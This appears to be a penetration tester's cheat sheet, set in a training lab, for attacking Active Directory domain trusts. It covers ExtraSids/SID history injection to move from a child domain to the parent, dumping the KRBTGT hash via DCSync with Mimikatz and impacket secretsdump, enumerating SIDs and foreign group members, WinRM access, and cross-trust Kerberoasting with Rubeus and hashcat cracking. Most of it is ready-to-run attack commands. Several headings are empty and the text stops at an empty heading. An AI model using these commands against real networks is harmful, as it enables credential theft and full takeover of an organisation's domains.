Attacking Domain Trusts

ExtraSids

This attack allows for the compromise of a parent domain once the child domain has been compromised. The sidHistory attribute is used in migration scenarios. If a user in one domain is migrated to another domain, a new account is created in the second domain. The original user's SID will be added to the new user's SID history attribute, ensuring that the user can still access resources in the original domain. An attacker can perform SID history injection (due to a lack of SID Filtering protection) and add an administrator account to the SID History attribute of an account they control in the child domain. When logging in with this account, all of the SIDs associated with the account are added to the user's token. This token is used to determine what resources the account can access.

We need:

1. FQDN - child domain

2. KRBTGT hash - child domain

3. SID - child domain

4. USER - child domain (does not need to exist)

5. SID Enterprise Admin group - root domain

Locally - Windows

Get Data

2 - 3 with Mimikatz (Since we have compromised the child domain, we can log in as a Domain Admin or similar and perform the DCSync attack to obtain the NT hash for the KRBTGT account)

lsadump::dcsync /user:<CHILD_DOMAIN>\krbtgt
# take note of Domain SID (Security ID - Relative ID)

3 - 5 with Old or New PowerView

Get-DomainSID

Get-DomainGroup -Domain <DOMAIN> -Identity "Enterprise Admins" | select distinguishedname,objectsid

5 with cmdlet Get-ADGroup

Get-ADGroup -Identity "Enterprise Admins" -Server "<DOMAIN>"

Mimikatz

Rebeus

Remotely - Linux

Get Data

2 with impacket-secretsdump

secretsdump.py <FULL_CHILD_DOMAIN>/<USER>@<DC> -just-dc-user <CHILD_DOMAIN>/krbtgt
# secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

3 - 5 with impacket-lookupsid.py (bruteforce SID)

lookupsid.py <FULL_CHILD_DOMAIN>/<USER>@<DC_CHILD> | grep "Domain SID"

lookupsid.py <FULL_CHILD_DOMAIN>/<USER>@<DC_ROOT> | grep "Domain SID"
lookupsid.py <FULL_CHILD_DOMAIN>/<USER>@<DC_ROOT> | grep "Enterprise Admins"
# <Domain_SID>-<RID_EnterpriseAdmin>

Ticketer

RaiseChild

Foreign Group Membership

We may see users or admins from Domain A as members of a group in Domain B. Only Domain Local Groups allow security principals from outside its forest. We may see a Domain Admin or Enterprise Admin from Domain A as a member of the built-in Administrators group in Domain B in a bidirectional forest trust relationship. If we can take over this admin user in Domain A, we would gain full administrative access to Domain B based on group membership.

Use the PowerView function Get-DomainForeignGroupMember

Get-DomainForeignGroupMember -Domain <DOMAIN_TARGET>
# take note of MemberName

Convert-SidToName <MemberName>

Now we can verify the access to the target domain using the Enter-PSSession cmdlet to connect over WinRM.

Enter-PSSession -ComputerName <PC_NAME>.<TARGET_DOMAIN> -Credential <OUTPUT_Convert-SidToName>

Kerberoasting

Domain with an inbound or bidirectional domain/forest trust

Locally

Enumaration SPN on the domain target with Old or New PowerView

Get-DomainUser -Domain <TARGET_DOMAIN> |select samaccountname,memberof

Kerberosting with Rubeus

.\Rubeus.exe kerberoast /domain:<TARGET_DOMAIN> /user:<SPN> /nowrap

Offline cracking of output with hashcat (-m 13100)

Remotely